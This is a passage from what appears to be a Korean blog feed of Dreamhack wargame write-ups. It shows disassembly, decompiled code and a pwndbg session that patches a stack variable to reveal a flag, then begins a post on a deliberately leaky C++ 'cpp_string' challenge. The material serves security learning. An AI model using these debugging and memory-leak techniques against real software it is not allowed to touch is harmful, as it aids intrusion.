</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555540</span> <span class="o">&lt;+</span><span class="mi">172</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xd0</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555547</span> <span class="o">&lt;+</span><span class="mi">179</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xc8</span><span class="p">],</span><span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555554e</span> <span class="o">&lt;+</span><span class="mi">186</span><span class="o">&gt;:</span>   <span class="n">movabs</span> <span class="n">rax</span><span class="p">,</span><span class="mh">0x3667376a33343568</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555558</span> <span class="o">&lt;+</span><span class="mi">196</span><span class="o">&gt;:</span>   <span class="n">movabs</span> <span class="n">rdx</span><span class="p">,</span><span class="mh">0x68696a386b6a356b</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555562</span> <span class="o">&lt;+</span><span class="mi">206</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xc0</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555569</span> <span class="o">&lt;+</span><span class="mi">213</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xb8</span><span class="p">],</span><span class="n">rdx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555570</span> <span class="o">&lt;+</span><span class="mi">220</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xb0</span><span class="p">],</span><span class="mh">0x7d663232</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555557a</span> <span class="o">&lt;+</span><span class="mi">230</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">BYTE</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xac</span><span class="p">],</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555581</span> <span class="o">&lt;+</span><span class="mi">237</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xf0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555588</span> <span class="o">&lt;+</span><span class="mi">244</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x50</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555558c</span> <span class="o">&lt;+</span><span class="mi">248</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x45</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555591</span> <span class="o">&lt;+</span><span class="mi">253</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555594</span> <span class="o">&lt;+</span><span class="mi">256</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555597</span> <span class="o">&lt;+</span><span class="mi">259</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x5555555550c0</span> <span class="o">&lt;</span><span class="n">memcpy</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555559c</span> <span class="o">&lt;+</span><span class="mi">264</span><span class="o">&gt;:</span>   <span class="n">sub</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555a0</span> <span class="o">&lt;+</span><span class="mi">268</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555a4</span> <span class="o">&lt;+</span><span class="mi">272</span><span class="o">&gt;:</span>   <span class="n">jg</span>     <span class="mh">0x5555555554c5</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">49</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555aa</span> <span class="o">&lt;+</span><span class="mi">278</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="mh">0x5</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555ae</span> <span class="o">&lt;+</span><span class="mi">282</span><span class="o">&gt;:</span>   <span class="n">jne</span>    <span class="mh">0x5555555555fe</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">362</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555b0</span> <span class="o">&lt;+</span><span class="mi">284</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xa5f</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x555555556016</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555b7</span> <span class="o">&lt;+</span><span class="mi">291</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555ba</span> <span class="o">&lt;+</span><span class="mi">294</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x555555555090</span> <span class="o">&lt;</span><span class="n">puts</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555bf</span> <span class="o">&lt;+</span><span class="mi">299</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555c2</span> <span class="o">&lt;+</span><span class="mi">302</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555c5</span> <span class="o">&lt;+</span><span class="mi">305</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555c8</span> <span class="o">&lt;+</span><span class="mi">308</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xa0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555cf</span> <span class="o">&lt;+</span><span class="mi">315</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x50</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555d3</span> <span class="o">&lt;+</span><span class="mi">319</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555d6</span> <span class="o">&lt;+</span><span class="mi">322</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555d9</span> <span class="o">&lt;+</span><span class="mi">325</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x5555555551c9</span> <span class="o">&lt;</span><span class="n">flag_gen</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555de</span> <span class="o">&lt;+</span><span class="mi">330</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0xa0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555e5</span> <span class="o">&lt;+</span><span class="mi">337</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555e8</span> <span class="o">&lt;+</span><span class="mi">340</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xa2d</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x55555555601c</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555ef</span> <span class="o">&lt;+</span><span class="mi">347</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555f2</span> <span class="o">&lt;+</span><span class="mi">350</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555f7</span> <span class="o">&lt;+</span><span class="mi">355</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x5555555550b0</span> <span class="o">&lt;</span><span class="n">printf</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555fc</span> <span class="o">&lt;+</span><span class="mi">360</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0x55555555560d</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">377</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x00005555555555fe</span> <span class="o">&lt;+</span><span class="mi">362</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xa1c</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x555555556021</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555605</span> <span class="o">&lt;+</span><span class="mi">369</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555608</span> <span class="o">&lt;+</span><span class="mi">372</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0x555555555090</span> <span class="o">&lt;</span><span class="n">puts</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000055555555560d</span> <span class="o">&lt;+</span><span class="mi">377</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555612</span> <span class="o">&lt;+</span><span class="mi">382</span><span class="o">&gt;:</span>   <span class="n">leave</span>  
</span></span><span class="line"><span class="cl">   <span class="mh">0x0000555555555613</span> <span class="o">&lt;+</span><span class="mi">383</span><span class="o">&gt;:</span>   <span class="n">ret</span> 
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_f8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_f0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_e8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_e0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_d8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_d0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_c8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_c0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined4</span> <span class="n">local_b8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined</span> <span class="n">local_b4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined</span> <span class="n">local_a8</span> <span class="p">[</span><span class="mi">80</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="n">local_58</span> <span class="p">[</span><span class="mi">72</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">uint</span> <span class="n">local_10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uint</span> <span class="n">local_c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">local_c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">puts</span><span class="p">(</span><span class="s">&#34;---Counter---&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span> <span class="mi">0</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">local_c</span><span class="p">;</span> <span class="n">local_c</span> <span class="o">=</span> <span class="n">local_c</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_c</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_f8</span> <span class="o">=</span> <span class="mh">0x38383830357b4d49</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_f0</span> <span class="o">=</span> <span class="mh">0x6a37386a32336a39</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_e8</span> <span class="o">=</span> <span class="mh">0x3035363435676a39</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_e0</span> <span class="o">=</span> <span class="mh">0x6a68383234303438</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_d8</span> <span class="o">=</span> <span class="mh">0x6838306969326968</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_d0</span> <span class="o">=</span> <span class="mh">0x3833356a68693437</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_c8</span> <span class="o">=</span> <span class="mh">0x3667376a33343568</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_c0</span> <span class="o">=</span> <span class="mh">0x68696a386b6a356b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_b8</span> <span class="o">=</span> <span class="mh">0x7d663232</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_b4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">memcpy</span><span class="p">(</span><span class="n">local_58</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_f8</span><span class="p">,</span><span class="mh">0x45</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">5</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;Nice!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_10</span> <span class="o">=</span> <span class="n">local_c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">flag_gen</span><span class="p">(</span><span class="n">local_58</span><span class="p">,(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_a8</span><span class="p">,</span><span class="n">local_c</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">%s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="n">local_a8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;---END---&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>코드를 분석해보면 플레그를 만들어주는 함수는 flag_gen 함수이고 for 가 동작하는 반복문과 별개의 코드로 if가 동작해야지 플래그를 출력한다. if가 동작하기 위해서는 반복문이 끝난 후 local_c가 5를 가지고 있어야 동작한다. 다만 반복문이 종료되면 local_c가 0을 가지게 된다. 따라서 gdb를 통해 bp를 반복분이 끝나는 시점에 걸고 local_c 값을 강제로 5로 바꾸면 풀 수 있을 것이다.</p>
<p>다만 바이너리에 bp를 걸면 좀 이상하게 동작한다. PIE가 걸려있어 바이너리를 실행할 때 마다 주소값이 바뀌는 문제가 있다. gdb에서는 디버깅의 편의를 위해 PIE 보호기법이 걸린 바이너리는 코드영역 주소값을 0x555555555000로 가진다. 따라서 한번 실행한 후 main함수를 disass 하면 0x0000555555555494주소를 가진다. 이 부분에 bp를 걸고 이후 main+278부분에 bp를 걸어주면 중단지점을 설정할 수 있다. 이후 set 기능을 이용해 rbp - 4 부분을 5로 쓰면 플래그를 얻을 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="err">$</span><span class="n">rbp</span><span class="o">-</span><span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="n">Undefined</span> <span class="nl">command</span><span class="p">:</span> <span class="s">&#34;$rbp-4&#34;</span><span class="p">.</span>  <span class="n">Try</span> <span class="s">&#34;help&#34;</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">p</span> <span class="err">$</span><span class="n">rbp</span><span class="o">-</span><span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="err">$</span><span class="mi">1</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="mh">0x7fffffffe32c</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="n">x</span> <span class="mh">0x7fffffffe32c</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fffffffe32c</span><span class="o">:</span> <span class="mh">0x00000000</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">set</span> <span class="o">*</span><span class="mh">0x7fffffffe32c</span><span class="o">=</span><span class="mi">5</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="n">x</span> <span class="mh">0x7fffffffe32c</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fffffffe32c</span><span class="o">:</span> <span class="mh">0x00000005</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">c</span>
</span></span><span class="line"><span class="cl"><span class="n">Continuing</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="n">Nice</span><span class="o">!</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DH</span><span class="p">{</span><span class="mf">389998e56</span><span class="n">e90e8eb34238948469ce중략</span><span class="p">...}</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="n">Inferior</span> <span class="mi">1</span> <span class="p">(</span><span class="n">process</span> <span class="mi">48876</span><span class="p">)</span> <span class="n">exited</span> <span class="n">normally</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> 
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN cpp_string</title><link>https://dig06161.github.io/2023/05/08/dreamhack-pwn-cpp_string/</link><pubDate>Mon, 08 May 2023 18:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/05/08/dreamhack-pwn-cpp_string/</guid><description>드림핵 포너블 cpp_string 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 드림핵 1단계 cpp_string이다.</p>
<p>C++에서 파일 읽기에 사용되는 is.read 함수는 C언어의 read함수를 std::ifstream에서 사용할 수 있게 포팅한 함수로 C언어의 read와 동일하게 동작한다.</p>
<p>이전 워 게임에서 메모리를 릭 할때 사용한 할당된 버퍼를 꽉 채운 뒤 null을 자리값을 임의 값으로 넣으면 이후 메모리 주소에 나열되어 있는 메모리 값이 같이 읽히는 것을 볼 수 있다. 이와 동일한 버그가 발생한다는 뜻이다.</p>
<p>우선 소스코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="c1">//g++ -o cpp_string cpp_string.cpp
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fstream&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;csignal&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">readbuffer</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="mi">64</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">writebuffer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">trash</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;TIME OUT&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">read_file</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">ifstream</span> <span class="n">is</span> <span class="p">(</span><span class="s">&#34;test&#34;</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">ifstream</span><span class="o">::</span><span class="n">binary</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">is</span><span class="p">.</span><span class="n">is_open</span><span class="p">()){</span>
</span></span><span class="line"><span class="cl">        	<span class="n">is</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="n">readbuffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">readbuffer</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">		<span class="n">is</span><span class="p">.</span><span class="n">close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Read complete!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">        	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;No testfile...exiting..&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        	<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">write_file</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">ofstream</span> <span class="n">of</span> <span class="p">(</span><span class="s">&#34;test&#34;</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">ifstream</span><span class="o">::</span><span class="n">binary</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">of</span><span class="p">.</span><span class="n">is_open</span><span class="p">()){</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Enter file contents : &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        	<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">writebuffer</span><span class="p">;</span>
